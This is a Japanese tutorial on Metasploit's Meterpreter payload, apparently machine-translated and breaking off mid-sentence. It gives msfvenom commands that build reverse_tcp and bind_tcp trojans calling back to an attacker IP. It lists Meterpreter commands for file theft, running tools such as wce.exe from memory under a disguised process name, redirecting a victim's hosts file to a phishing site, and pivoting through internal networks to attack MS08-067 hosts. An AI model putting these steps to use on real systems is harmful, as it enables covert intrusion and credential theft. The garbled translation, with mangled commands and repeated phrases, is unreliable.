0x01pirst学習メータープレーター
1.1.メータープレターとは何ですか
MeterPreterは、MetaSploitフレームワークの拡張モジュールです。オーバーフローが成功した後、攻撃ペイロードとして使用されます。オーバーフロー攻撃が成功した後、攻撃ペイロードはコントロールチャネルを返します。攻撃のペイロードとして使用すると、ターゲットシステムのメータープレターシェルへのリンクを取得できます。 MeterPreter Shellには、ユーザーの追加、何かの隠れ、ユーザーのパスワードの開き、リモートホストのファイルのアップロードとダウンロード、CMD.exeの実行、画面のキャプチャ、リモートコントロールのキャプチャ、キー情報の取得、キー情報の取得、アプリケーションのクリア、リモートホストのシステム情報の表示などのマシンなどのインターフェースの表示などの表示など、浸透モジュールとして多くの有用な機能があります。リモートホストに身を隠すと、システムハードディスク内のファイルが変更されないため、HIDS [ホストベースの侵入検知システム]が応答することは困難です。 In addition, the system time varies when it is running, so tracking it or terminating it can also become very difficult for an experienced person.
最後に、MeterPreterは複数のセッションを作成するタスクを簡素化することもできます。これらのセッションは、浸透に使用できます。 Metasploitフレームワークでは、MeterPreterは浸透後のツールであり、動作中に動作中に拡張できる動的でスケーラブルなペイロードです。このツールは、「メモリDLLインジェクション」の概念に基づいて実装されています。これにより、ターゲットシステムは、新しいプロセスを作成し、注入されたDLLを呼び出すことにより、注入されたDLLファイルを実行できます。その中で、ターゲットデバイス内の攻撃者とメータープレターとの間の通信は、ステージャーソケットを介して実装されています。浸透後モジュールとしてはメータープレターには多くの種類があり、コマンドはコアコマンドと拡張ライブラリコマンドで構成されており、攻撃方法を大幅に濃縮しています。
MeterPreterを説明する必要がある場合、脆弱性が正常に活用された後、コードの第2フェーズとMeterPreterサーバーDLLが送信されます。したがって、ネットワークの不安定な場合、多くの場合、実行可能なコマンドがないか、セッションの確立とヘルプの実行が欠落していることがわかります。これは、VPNに接続し、イントラネットでPSEXECとBIND_TCPを使用するときにしばしば発生します。
1.2.meterpreterテクノロジーの利点
MetaSploitは、WindowsやLinuxなどのさまざまな主流プラットフォームのメータープレターバージョンを提供し、X86およびX64プラットフォームをサポートしています。さらに、MeterPreterはPHP言語とJava言語に基づいた実装も提供しています。 MeterPreterの作業モードは純粋なメモリであり、利点は起動して隠されていることです。これは、ウイルス対策ソフトウェアで監視することが困難です。ターゲットホストディスクにアクセスする必要はないため、侵入の兆候はありません。上記に加えて、MeterPreterはRuby Scripting Extensionsもサポートしています。したがって、ルビー言語はまだ必要です。
0x02メータープレーターの一般的なリバウンドタイプ
1.Reverse_TCP
これはTCPベースのバックリンクリバウンドシェルであり、使用するのが非常に安定しています
(1)Linux:
次のコマンドを使用して、Linuxの下でリバウンドシェルトロイの木馬を生成します。
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o shell
上の写真を見ると、TrojanファイルのISShellがディレクトリで正常に生成されていることがわかります。次に、ファイルに実行可能な権限を追加します。次に、MetaSploitを開き、モジュールハンドラーを使用して、ペイロードを設定します。注:ここのペイロードセットは、トロイの木馬を生成するために使用するペイロードと同じでなければなりません。
アドレスとポートを設定すると、リスニングを開始します
ここでリバウンドシェルトロイの木馬を実行すると、シェルにリバウンドされたことがわかります。
(2)Windows:
msfvenom -p windows/meterpreter/reverse_tcp lhost=[your ip] lport=[port] -f exe -oファイル名を生成する
MSFVENOM -P Windows/MeterPreter/Reverse_TCP LHOST=192.168.1.102 LPORT=4444 -F EXE -O SHELL.EXE
リバース接続シェルは使用するのが非常に安定しているため、LHOSTを設定する必要があります
2.Reverse_http
HTTPメソッドに基づく逆接続は、ネットワーク速度が遅い場合、不安定です。
payload:/windows/meterpreter/reverse_http
3.Reverse_Https
HTTPSメソッドに基づく逆接続は、ネットワーク速度が遅い場合、不安定です。 HTTPSがリバウンドする場合は、リスニングポートを443に変更してみてください。
payload:/windows/meterpreter/reverse_https
4.bind_tcp
これは、TCPに基づくフォワード接続シェルです。イントラネットがネットワークセグメントを横断しているときに攻撃機に接続できないため、イントラネットでよく使用され、LHOSTの設定を必要としません。
次のコマンドを使用して、トロイの木馬を生成します。
msfvenom -p linux/x86/meterpreter/bind_tcp
lport=4444 -f elf -o shell
同じことは、権限で実行され、デモンストレーションはありません。
ここで、設定したIPアドレスとポートはターゲットマシンからのものであることに注意してください。これが私たちがそれをつなぐためにイニシアチブをとるものだからです。
0x03関連ペイロード
ペイロードには、リモートシステムで実行する必要がある悪意のあるコードが含まれています。 Metasploitでは、ペイロードはモジュールを悪用するために実行できる特別なモジュールであり、ターゲットシステムのセキュリティの脆弱性を活用して攻撃を実装できます。要するに、このエクスプロイトモジュールはターゲットシステムにアクセスでき、そのコードはターゲットシステムでのペイロードの動作を定義します。
Metasploitには、ペイロードモジュールには3つの主要なタイプがあります。
-シングル
- スターガー
-ステージ
シングルは完全に独立したペイロードであり、システムユーザーの追加やファイルの削除など、calc.exeを実行するのと同じくらい簡単です。シングルのため
ペイロードは完全に独立しているため、NetCatのような非メタプロイト処理ツールに捕まることがあります。
Stager Payloadsは、ターゲットユーザーと攻撃者間のネットワーク接続を確立し、追加のコンポーネントまたはアプリケーションをダウンロードする責任があります。一般的なステージャーのペイロードはReverse_TCPです。これにより、ターゲットシステムは攻撃者とのTCP接続を確立できます。別の一般的なタイプはbind_tcpです。これにより、ターゲットシステムはTCPリスナーを有効にし、攻撃者はいつでもターゲットシステムと通信できます。
ステージはステージャーです
ペイロードによってダウンロードされたペイロードコンポーネントこのペイロードは、サイズ制限なしでより高度な機能を提供できます。
Metasploitでは、ペイロードの名前と使用される形式でそのタイプを推測できます。
単一ペイロードの形式はターゲット/シングルです
ステイガー/ステージペイロード形式は、ターゲット/ステージ/ステイガーです
Metasploitで「Payloadsを表示」コマンドを実行すると、利用可能なペイロードのリストが表示されます。
このリストでは、Windows/PowerShell_Bind_TCPは単一のペイロードであり、ステージのペイロードは含まれていません。 Windows/x64/meterpreter/reverse_tcpはステイガーです
ペイロード(Reverse_TCP)とステージペイロード(MeterPreter)。
0x04メータープレーターの共通コマンド
1。基本コマンド
ヘルプ#MeterPreterヘルプを確認してください
バックグラウンド#返品、ハングメータープレターの背景
BGKILL#バックグラウンドメータープレータースクリプトを殺します
BGLIST#は、実行中のすべてのバックグラウンドスクリプトのリストを提供します
bgrun#バックグラウンドスレッドとしてスクリプトを実行します
チャンネル#アクティブチャネルを表示します
セッション-i番号#セッションと対話します。番号はn番目のセッションを意味します。セッション-iを使用して、指定されたシーケンス番号にメータープレターセッションに接続し続けています。
セッション-K番号
#interact with Conversation
#クローズチャンネルを閉じます
終了#メータープレターセッションを終了します
QUIT#メータープレターセッションを終了します
ID #switchをチャンネルに操作します
#既存のモジュールを実行します。ここで言いたいのは、走行してタブを2回クリックした後、既存のすべてのスクリプトが一覧表示されるということです。一般的に使用されるものには、Autoroute、Hashdump、arp_scanner、multi_meter_injectなどが含まれます。
IRB#Rubyスクリプトモードを入力します
#チャネルのデータを読む
#write data fort data fo a Channel
MeterPreterスクリプトを選択した後、実行およびbgrun#前景と背景実行
MeterPreterの拡張機能をロードする#を使用します
#ロードモジュールをロード/使用します
リソース#既存のRCスクリプトを実行します
2。ファイルシステムコマンド
CAT C: \ boot.ini#ファイルの内容を表示すると、ファイルが存在する必要があります
del C: \ boot.ini #delete指定されたファイル
upload /root/desktop/netcat.exe c: \#setup.exeのアップロードなど、ファイルをターゲット所有者にアップロードします
c: \\ windows \\ system32 \
nimeia.txt/root/desktop/#ダウンロード:c: \\ boot.ini/root/またはダウンロードなど、ファイルをマシンにダウンロードしてください
c: \\ 'programfiles' \\ tencent \\ qq \\ users \\ 295 ****** 125 \\ msg2.0.db
/根/
編集c: \ boot.ini#
ファイルを編集します
getLWD#ローカルディレクトリを印刷します
getwd#print作業ディレクトリ
LCD#ローカルディレクトリを変更します
LS#現在のディレクトリのファイルのリストをリストします
LPWD#ローカルディレクトリを印刷します
PWD#出力作業ディレクトリ
CD C: \\ #enterディレクトリファイル
RMファイル#Deleteファイル
MKDIR DIER #Create Directoryの被害者システム
RMDIR#被害者システムに関する配信ディレクトリ
dir#ターゲットホストのファイルとフォルダー情報をリスト
MV#ターゲットホストのファイル名を変更します
検索-D d: \\ www -f web.config #searchファイル、d c: \\ -f*.docなど
MeterPreter Search -F AutoExec.BAT #Search FILEのSearch
MeterPreter Search -F Sea*.BAT C: \\ XAMP \\
enumdesktops #Number of User Logins
(1)ファイルをダウンロードします
コマンド「ダウンロード +ファイルパス」を使用して、ターゲットマシンの対応する権限のパスの下にファイルをダウンロードします
(2)ファイルをアップロードします
「アップロード」コマンドは、ファイルをターゲットマシンにアップロードすることです。図では、LL.TXTをターゲットマシンのC: \ PP \にアップロードしました。
(3)ファイルを表示します
「Cat Filename」は、現在のディレクトリのファイルコンテンツを表示します。コマンドを入力した後、表示しているファイルのコンテンツを返します。
(4)現在のパスを切り替えて照会します
「PWD」コマンドは、DOSコマンドの下の現在のパスを照会します。 「CD」コマンドは、下の図に示すように、現在のパスを変更できます。CD.は、現在のパスの下の前のディレクトリに切り替えることです。
(5)「sysinfo」コマンド
「sysinfo」コマンドは、リモートホストのシステム情報を表示し、コンピューター、システム情報、構造、言語、その他の情報を表示します。リモートホストのオペレーティングシステムはWindows XP Service Pack 2であり、このシステムには多くの脆弱性があることがわかります。
(6)コマンドを実行します
「実行」コマンドは、ターゲットホストのコマンドを実行します。ここで、「execute -H」がヘルプ情報を表示します。 -fは、実行するコマンドを実行することです。
ターゲットホストでプログラムを実行します。たとえば、現在プロセスをExplorer.exeに注入した後、実行ユーザーはスーパーマネージャー管理者です
ターゲットホストでメモ帳プログラムを実行しましょう
execute -fnotepad.exe
下の図に示すように、メモ帳プログラムがターゲットホストにすぐに表示されます:これはあまりにも明白です。バックグラウンド実行を非表示にする場合は、パラメーター-Hを追加します
execute -h -fnotepad.exe
この時点で、ターゲットホストのデスクトップは応答しませんでしたが、MeterPreterセッションでPSコマンドを使用してそれを見ました
別のものを見てください。ターゲットホストでCMD.exeプログラムを実行し、隠された方法でメータープレーターセッションで直接対話します。
注文:
execute -h -i -fcmd.exe
これは、シェルコマンドを使用するのと同じ効果を達成します
もう1つのことは、ターゲットホストのメモリでWCE.EXEやTrojanなどのターゲットホストの攻撃プログラムを直接実行して、ターゲットホストのハードディスクで発見または殺されることを避けるためです。
execute -h -m -d notepad.exe -f wce.exe -a
'-owce.txt'
-dターゲットホストが実行されたときに表示されるプロセス名(変装のため)
-mメモリから直接実行します
'-owce.txt'は、wce.exeの実行パラメーターです
(7)IDLETIMEコマンド
「idletime」コマンドは、ターゲットマシンが現在の操作なしコマンドに期限切れになった時間を表示します。図のディスプレイは、ターゲットホストが9分19秒前に操作を行うことを意味します。
(8)コマンドを検索します
「検索」コマンドは、ターゲットホストの特定のファイルを検索します。このコマンドは、システム全体または特定のフォルダーを検索できます。
「検索-H」コマンドを使用して、検索コマンドのヘルプ情報を表示します。
以下の図では、「検索–F aa.txt」コマンドは、現在のディレクトリにaa.txtファイルとターゲットマシンの現在のディレクトリのサブディレクトリがあるかどうかを確認します。もしそうなら、それはその道を示します。
「検索-f l*.txt C: \\ pp」は、C: \\ ppのLで始まるすべてのTXTファイルと、PPフォルダーの下のすべてのサブファイルを表示します。そのようなファイルがある場合、パスとサイズを返します。
(9)コマンドを編集します
VIエディターに電話して、ターゲットホストのファイルを変更する
たとえば、ターゲットホストのホストファイルを変更して、ターゲットホストがBaiduにアクセスするときに準備されたフィッシングWebサイトに移動するようにします(実験目的のみ)
ping www.baidu.comターゲットホストでは、出てくるターゲットIPは192.168.1.1ですを変更しました
3。ネットワークコマンド
ipconfig/ifconfig#IPアドレスを含むネットワークインターフェイスに関する重要な情報を表示します
portfwd -h
使用法:portfwd [-h] [add | delete | list | flush] [args]
オプション:
-lローカルホストをオプトして聴く(オプション)
-hヘルプバナー
-l聴くためにローカルポートを選択します
-p OPTはリモートポートに接続します
-rリモートホストを選択して接続します
portfwd add -l
4444 -P 3389 -R 192.168.1.102#ポート転送、ローカル監視4444、ターゲットマシン3389をローカル4444に転送
netstat -an | grep "4444 '#view指定されたポートの開口部
rdesktop -U Administrator -P BK#123 127.0.0.1:444444444444 #use rdesktop desktop、-u username -pパスワードに接続する
rdesktop 127.1.1.0:4444 #requiresユーザー名とパスワードをリモートで接続します
ルート#被害者ルーティングテーブルを表示または変更します
ルート追加192.168.1.0 255.255.255.0 1 #ADDダイナミックルート
ルートプリント#Routingテーブル出力
runget_local_subnets#ターゲットホストのイントラネットIPセグメントステータス
ARP#ARPバッファーテーブルのルック
GetProxy #Get Proxy
(1)portfwd
ネットワークコマンドリストIP情報(IPConfig)、ルーティングテーブルの変更(ルート)、およびポート転送(PORTFWD)を表示します。たとえば、portfwd:
ルールを確立した後、リモート3389ポートが転送されるように、ローカル3344ポートに接続できます。
(2)ルート
Routeコマンドを使用して、MeterPreterセッションでイントラネットをさらに貫通します。メータープレターのリバウンドセッションを削除して生成したホストは、イントラネットから外れている可能性があります。外にナットの層があります。イントラネットの他のホストに対する攻撃を直接起動することはできません。次に、生成されたメータープレターセッションをルーティングスプリングボードとして使用して、イントラネットの他のホストを攻撃できます。
最初にrunget_local_subnetsコマンドを使用して、撮影されたターゲットホストのイントラネットIPセグメントを表示できます。
コマンド:get_local_subnetsを実行します
下の図に示すように:
そのイントラネットには192.168.249.0/24ネットワークセグメントがありますが、直接アクセスできません。
ルートをしましょう。次のホップは、現在取得したホストのセッション(現在5)です。つまり、249ネットワークセグメントのすべての攻撃トラフィックは、侵入したターゲットホストのメータープレーターセッションに通過します。
コマンド:ルート追加192.168.249.0
255.255.255.0 5
次に、ルートプリントを使用してルーティングテーブルを表示します。効果は次のとおりです。
最後に、このルートを使用して、このルートを介して249ネットワークセグメントのMS08-067の脆弱性を備えた別のホストを攻撃し、下の図に示すように、別のイントラネットホスト192.168.249.1を正常に取得できます。
ほとんどの場合、MeterPRを取得します